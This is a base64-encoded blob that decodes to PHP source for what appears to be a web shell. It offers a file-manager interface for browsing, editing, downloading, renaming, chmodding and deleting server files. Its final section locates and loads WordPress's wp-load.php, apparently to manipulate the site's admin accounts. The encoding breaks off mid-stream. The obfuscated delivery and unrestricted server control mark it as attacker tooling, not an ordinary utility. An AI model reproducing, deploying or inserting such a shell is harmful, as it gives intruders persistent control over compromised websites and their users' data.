CAgICAgICAgICAgICAgIDxidXR0b24gb25jbGljaz0ic2hvd05ld0ZvbGRlck1vZGFsKCkiIGNsYXNzPSJidG4gYnRuLXNtYWxsIj5OZXcgRm9sZGVyPC9idXR0b24+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgCiAgICAgICAgPGRpdiBjbGFzcz0iY29udGVudCI+CiAgICAgICAgICAgIDw/cGhwIGlmKCRlZGl0TW9kZSk6ID8+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVkaXQtY29udGFpbmVyIj4KICAgICAgICAgICAgICAgIDxoMyBzdHlsZT0ibWFyZ2luLWJvdHRvbTogMTVweDsgY29sb3I6ICM0YTllZmY7Ij5FZGl0aW5nOiA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGVkaXRGaWxlKTsgPz48L2gzPgogICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50UGF0aCk7ID8+Ij4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzYXZlIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRlZGl0RmlsZSk7ID8+Ij4KICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0iY29udGVudCIgY2xhc3M9ImVkaXQtYXJlYSI+PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRlZGl0Q29udGVudCk7ID8+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJtYXJnaW4tdG9wOiAxNXB4OyBkaXNwbGF5OiBmbGV4OyBnYXA6IDEwcHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MiPlNhdmUgQ2hhbmdlczwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkY3VycmVudFBhdGgpOyA/PiIgY2xhc3M9ImJ0biBidG4tZGFuZ2VyIiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lOyBkaXNwbGF5OiBpbmxpbmUtZmxleDsgYWxpZ24taXRlbXM6IGNlbnRlcjsiPkNhbmNlbDwvYT4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+CiAgICAgICAgICAgIDx0YWJsZSBjbGFzcz0iZmlsZS10YWJsZSI+CiAgICAgICAgICAgICAgICA8dGhlYWQ+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGggd2lkdGg9IjM1JSI+TmFtZTwvdGg+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0aCB3aWR0aD0iMTAlIj5UeXBlPC90aD4KICAgICAgICAgICAgICAgICAgICAgICAgPHRoIHdpZHRoPSIxMCUiPlNpemU8L3RoPgogICAgICAgICAgICAgICAgICAgICAgICA8dGggd2lkdGg9IjEwJSI+UGVybWlzc2lvbnM8L3RoPgogICAgICAgICAgICAgICAgICAgICAgICA8dGggd2lkdGg9IjE1JSI+TW9kaWZpZWQ8L3RoPgogICAgICAgICAgICAgICAgICAgICAgICA8dGggd2lkdGg9IjIwJSI+QWN0aW9uczwvdGg+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGhlYWQ+CiAgICAgICAgICAgICAgICA8dGJvZHk+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYoJGN1cnJlbnRQYXRoICE9PSAnLycpOiA/PgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjYiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoZGlybmFtZSgkY3VycmVudFBhdGgpKTsgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJmaWxlLWljb24iPvCfk4E8L3NwYW4+IFBhcmVudCBEaXJlY3RvcnkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgLy8gRGlzcGxheSBmb2xkZXJzIGZpcnN0CiAgICAgICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRzb3J0ZWRDb250ZW50c1snZm9sZGVycyddKSkgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dHIgY2xhc3M9InNlcGFyYXRvci1yb3ciPjx0ZCBjb2xzcGFuPSI2Ij7wn5OBIEZvbGRlcnM8L3RkPjwvdHI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkc29ydGVkQ29udGVudHNbJ2ZvbGRlcnMnXSBhcyAkZm9sZGVyKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtUGF0aCA9ICRjdXJyZW50UGF0aCAuICRmb2xkZXI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGVybXMgPSBnZXRQZXJtaXNzaW9ucygkaXRlbVBhdGgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlzV3JpdGFibGUgPSBpc1dyaXRhYmxlRW5oYW5jZWQoJGl0ZW1QYXRoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtb2RpZmllZCA9IEBmaWxlbXRpbWUoJGl0ZW1QYXRoKTsKICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgIDx0ciBjbGFzcz0iZm9sZGVyLXJvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRpdGVtUGF0aCk7ID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0icGVybS1pbmRpY2F0b3IgPD9waHAgZWNobyAkaXNXcml0YWJsZSA/ICd3cml0YWJsZScgOiAncmVhZG9ubHknOyA/PiI+PC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJmaWxlLWljb24iPvCfk4E8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9Ijw/cGhwIGVjaG8gJGlzV3JpdGFibGUgPyAncGVybS13cml0YWJsZScgOiAncGVybS1yZWFkb25seSc7ID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmb2xkZXIpOyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPkZvbGRlcjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4tPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSI8P3BocCBlY2hvICRpc1dyaXRhYmxlID8gJ3Blcm0td3JpdGFibGUnIDogJ3Blcm0tcmVhZG9ubHknOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRwZXJtczsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/cGhwIGVjaG8gJG1vZGlmaWVkID8gZGF0ZSgnWS1tLWQgSDppJywgJG1vZGlmaWVkKSA6ICctJzsgPz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlLWFjdGlvbnMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9IiMiIG9uY2xpY2s9InJlbmFtZUl0ZW0oJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZm9sZGVyKTsgPz4nKTsgcmV0dXJuIGZhbHNlOyI+UmVuYW1lPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImNobW9kSXRlbSgnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmb2xkZXIpOyA/PicpOyByZXR1cm4gZmFsc2U7Ij5DaG1vZDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkY3VycmVudFBhdGgpOyA/PiZkbz1kZWxldGUmaXRlbT08P3BocCBlY2hvIHVybGVuY29kZSgkZm9sZGVyKTsgPz4iIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJkZWxldGUiIG9uY2xpY2s9InJldHVybiBjb25maXJtKCdEZWxldGUgdGhpcyBmb2xkZXIgYW5kIGFsbCBpdHMgY29udGVudHM/JykiPkRlbGV0ZTwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgfSA/PgogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgLy8gRGlzcGxheSBmaWxlcwogICAgICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkc29ydGVkQ29udGVudHNbJ2ZpbGVzJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ciBjbGFzcz0ic2VwYXJhdG9yLXJvdyI+PHRkIGNvbHNwYW49IjYiPvCfk4QgRmlsZXM8L3RkPjwvdHI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkc29ydGVkQ29udGVudHNbJ2ZpbGVzJ10gYXMgJGZpbGUpOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1QYXRoID0gJGN1cnJlbnRQYXRoIC4gJGZpbGU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2l6ZSA9IEBmaWxlc2l6ZSgkaXRlbVBhdGgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBlcm1zID0gZ2V0UGVybWlzc2lvbnMoJGl0ZW1QYXRoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpc1dyaXRhYmxlID0gaXNXcml0YWJsZUVuaGFuY2VkKCRpdGVtUGF0aCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbW9kaWZpZWQgPSBAZmlsZW10aW1lKCRpdGVtUGF0aCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXh0ID0gc3RydG91cHBlcihwYXRoaW5mbygkZmlsZSwgUEFUSElORk9fRVhURU5TSU9OKSA/OiAnRklMRScpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkc2l6ZSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkc2l6ZSA8IDEwMjQpICRzaXplID0gJHNpemUgLiAnIEInOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZigkc2l6ZSA8IDEwNDg1NzYpICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwgMSkgLiAnIEtCJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoJHNpemUgPCAxMDczNzQxODI0KSAkc2l6ZSA9IHJvdW5kKCRzaXplLzEwNDg1NzYsIDEpIC4gJyBNQic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSAkc2l6ZSA9IHJvdW5kKCRzaXplLzEwNzM3NDE4MjQsIDEpIC4gJyBHQic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzaXplID0gJz8nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7IGdhcDogOHB4OyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InBlcm0taW5kaWNhdG9yIDw/cGhwIGVjaG8gJGlzV3JpdGFibGUgPyAnd3JpdGFibGUnIDogJ3JlYWRvbmx5JzsgPz4iPjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iZmlsZS1pY29uIj7wn5OEPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSI8P3BocCBlY2hvICRpc1dyaXRhYmxlID8gJ3Blcm0td3JpdGFibGUnIDogJ3Blcm0tcmVhZG9ubHknOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZmlsZSk7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD9waHAgZWNobyAkZXh0OyA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvICRzaXplOyA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iPD9waHAgZWNobyAkaXNXcml0YWJsZSA/ICdwZXJtLXdyaXRhYmxlJyA6ICdwZXJtLXJlYWRvbmx5JzsgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAkcGVybXM7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvICRtb2RpZmllZCA/IGRhdGUoJ1ktbS1kIEg6aScsICRtb2RpZmllZCkgOiAnLSc7ID8+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1hY3Rpb25zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkY3VycmVudFBhdGgpOyA/PiZkbz1lZGl0Jml0ZW09PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpOyA/PiI+RWRpdDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkY3VycmVudFBhdGgpOyA/PiZkbz1kb3dubG9hZCZpdGVtPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz4iPkRvd25sb2FkPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9IiMiIG9uY2xpY2s9InJlbmFtZUl0ZW0oJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZmlsZSk7ID8+Jyk7IHJldHVybiBmYWxzZTsiPlJlbmFtZTwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIjIiBvbmNsaWNrPSJjaG1vZEl0ZW0oJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZmlsZSk7ID8+Jyk7IHJldHVybiBmYWxzZTsiPkNobW9kPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50UGF0aCk7ID8+JmRvPWRlbGV0ZSZpdGVtPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz4iIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJkZWxldGUiIG9uY2xpY2s9InJldHVybiBjb25maXJtKCdEZWxldGUgdGhpcyBmaWxlPycpIj5EZWxldGU8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7IH0gPz4KICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8P3BocCBpZihlbXB0eSgkc29ydGVkQ29udGVudHNbJ2ZvbGRlcnMnXSkgJiYgZW1wdHkoJHNvcnRlZENvbnRlbnRzWydmaWxlcyddKSk6ID8+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iNiIgY2xhc3M9ImVtcHR5Ij5FbXB0eSBkaXJlY3Rvcnk8L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICA8L3Rib2R5PgogICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgCiAgICA8IS0tIE5ldyBGaWxlIE1vZGFsIC0tPgogICAgPGRpdiBpZD0ibmV3RmlsZU1vZGFsIiBjbGFzcz0ibW9kYWwiPgogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRlbnQiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPkNyZWF0ZSBOZXcgRmlsZTwvZGl2PgogICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoJGN1cnJlbnRQYXRoKTsgPz4iIG9uc3VibWl0PSJyZXR1cm4gdmFsaWRhdGVOZXdJdGVtKHRoaXMpIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXdmaWxlIiBwbGFjZWhvbGRlcj0iRmlsZW5hbWUgKGUuZy4sIGluZGV4LnBocCkiIHJlcXVpcmVkPgogICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJmaWxlY29udGVudCIgcGxhY2Vob2xkZXI9IkZpbGUgY29udGVudCAob3B0aW9uYWwpIj48L3RleHRhcmVhPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPgogICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIj5DcmVhdGU8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tZGFuZ2VyIiBvbmNsaWNrPSJjbG9zZU1vZGFsKCduZXdGaWxlTW9kYWwnKSI+Q2FuY2VsPC9idXR0b24+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9mb3JtPgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICAKICAgIDwhLS0gTmV3IEZvbGRlciBNb2RhbCAtLT4KICAgIDxkaXYgaWQ9Im5ld0ZvbGRlck1vZGFsIiBjbGFzcz0ibW9kYWwiPgogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRlbnQiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPkNyZWF0ZSBOZXcgRm9sZGVyPC9kaXY+CiAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkY3VycmVudFBhdGgpOyA/PiIgb25zdWJtaXQ9InJldHVybiB2YWxpZGF0ZU5ld0l0ZW0odGhpcykiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld2ZvbGRlciIgcGxhY2Vob2xkZXI9IkZvbGRlciBuYW1lIiByZXF1aXJlZD4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZm9vdGVyIj4KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyI+Q3JlYXRlPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLWRhbmdlciIgb25jbGljaz0iY2xvc2VNb2RhbCgnbmV3Rm9sZGVyTW9kYWwnKSI+Q2FuY2VsPC9idXR0b24+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9mb3JtPgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICAKICAgIDxzY3JpcHQ+CiAgICAgICAgLy8gTW9kYWwgZnVuY3Rpb25zCiAgICAgICAgZnVuY3Rpb24gc2hvd05ld0ZpbGVNb2RhbCgpIHsKICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25ld0ZpbGVNb2RhbCcpLmNsYXNzTGlzdC5hZGQoJ2FjdGl2ZScpOwogICAgICAgICAgICAvLyBDbGVhciBwcmV2aW91cyB2YWx1ZXMKICAgICAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvcignI25ld0ZpbGVNb2RhbCBpbnB1dFtuYW1lPSJuZXdmaWxlIl0nKS52YWx1ZSA9ICcnOwogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcjbmV3RmlsZU1vZGFsIHRleHRhcmVhW25hbWU9ImZpbGVjb250ZW50Il0nKS52YWx1ZSA9ICcnOwogICAgICAgIH0KICAgICAgICAKICAgICAgICBmdW5jdGlvbiBzaG93TmV3Rm9sZGVyTW9kYWwoKSB7CiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduZXdGb2xkZXJNb2RhbCcpLmNsYXNzTGlzdC5hZGQoJ2FjdGl2ZScpOwogICAgICAgICAgICAvLyBDbGVhciBwcmV2aW91cyB2YWx1ZXMKICAgICAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvcignI25ld0ZvbGRlck1vZGFsIGlucHV0W25hbWU9Im5ld2ZvbGRlciJdJykudmFsdWUgPSAnJzsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgZnVuY3Rpb24gY2xvc2VNb2RhbChpZCkgewogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuY2xhc3NMaXN0LnJlbW92ZSgnYWN0aXZlJyk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC8vIFZhbGlkYXRpb24gZnVuY3Rpb24KICAgICAgICBmdW5jdGlvbiB2YWxpZGF0ZU5ld0l0ZW0oZm9ybSkgewogICAgICAgICAgICB2YXIgaW5wdXQgPSBmb3JtLnF1ZXJ5U2VsZWN0b3IoJ2lucHV0W25hbWU9Im5ld2ZpbGUiXSwgaW5wdXRbbmFtZT0ibmV3Zm9sZGVyIl0nKTsKICAgICAgICAgICAgaWYoIWlucHV0IHx8IGlucHV0LnZhbHVlLnRyaW0oKSA9PT0gJycpIHsKICAgICAgICAgICAgICAgIGFsZXJ0KCdQbGVhc2UgZW50ZXIgYSBuYW1lLicpOwogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyBQcmV2ZW50IHBhdGggdHJhdmVyc2FsCiAgICAgICAgICAgIHZhciB2YWx1ZSA9IGlucHV0LnZhbHVlLnRyaW0oKTsKICAgICAgICAgICAgaWYodmFsdWUuaW5jbHVkZXMoJy4uJykgfHwgdmFsdWUuaW5jbHVkZXMoJy8nKSB8fCB2YWx1ZS5pbmNsdWRlcygnXFwnKSkgewogICAgICAgICAgICAgICAgYWxlcnQoJ0ludmFsaWQgY2hhcmFjdGVyIGluIG5hbWUuIFBsZWFzZSB1c2Ugb25seSBsZXR0ZXJzLCBudW1iZXJzLCBkb3RzLCBoeXBoZW5zLCBhbmQgdW5kZXJzY29yZXMuJyk7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAvLyBSZW5hbWUgZnVuY3Rpb24KICAgICAgICBmdW5jdGlvbiByZW5hbWVJdGVtKG9sZE5hbWUpIHsKICAgICAgICAgICAgdmFyIG5ld05hbWUgPSBwcm9tcHQoJ0VudGVyIG5ldyBuYW1lOicsIG9sZE5hbWUpOwogICAgICAgICAgICBpZihuZXdOYW1lICYmIG5ld05hbWUgIT09IG9sZE5hbWUpIHsKICAgICAgICAgICAgICAgIGlmKG5ld05hbWUuaW5jbHVkZXMoJy4uJykgfHwgbmV3TmFtZS5pbmNsdWRlcygnLycpIHx8IG5ld05hbWUuaW5jbHVkZXMoJ1xcJykpIHsKICAgICAgICAgICAgICAgICAgICBhbGVydCgnSW52YWxpZCBjaGFyYWN0ZXIgaW4gbmFtZS4nKTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIHZhciBmb3JtID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZm9ybScpOwogICAgICAgICAgICAgICAgZm9ybS5tZXRob2QgPSAncG9zdCc7CiAgICAgICAgICAgICAgICBmb3JtLmFjdGlvbiA9ICc/cD08P3BocCBlY2hvIHVybGVuY29kZSgkY3VycmVudFBhdGgpOyA/Pic7CiAgICAgICAgICAgICAgICBmb3JtLmlubmVySFRNTCA9ICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvbGRuYW1lIiB2YWx1ZT0iJyArIG9sZE5hbWUgKyAnIj4nICsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJuZXduYW1lIiB2YWx1ZT0iJyArIG5ld05hbWUgKyAnIj4nOwogICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChmb3JtKTsKICAgICAgICAgICAgICAgIGZvcm0uc3VibWl0KCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC8vID09PT09PT09PT09PT09PT09PT09IFdPUkRQUkVTUyBBRE1JTiBDSEVDSyA9PT09PT09PT09PT09PT09PT09PSAvLwogICAgICAgIDw/cGhwCiAgICAgICAgaWYgKCFpc3NldCgkX1NFU1NJT05bJ3dwX2NoZWNrZWQnXSkpIHsKICAgICAgICAgICAgLy8gU2VhcmNoIGZvciBXb3JkUHJlc3MKICAgICAgICAgICAgJHNlYXJjaF9wYXRocyA9IFskY3VycmVudFBhdGgsIGRpcm5hbWUoJGN1cnJlbnRQYXRoKSwgQHJlYWxwYXRoKCcuJyldOwogICAgICAgICAgICBmb3JlYWNoICgkc2VhcmNoX3BhdGhzIGFzICR3cF9wYXRoKSB7CiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHdwX3BhdGggLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ3dwLWxvYWQucGhwJykpIHsKICAgICAgICAgICAgICAgICAgICBAaW5jbHVkZV9vbmNlKCR3cF9wYXRoIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd3cC1sb2FkLnBocCcpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCR3cF9wYXRoIC4gRE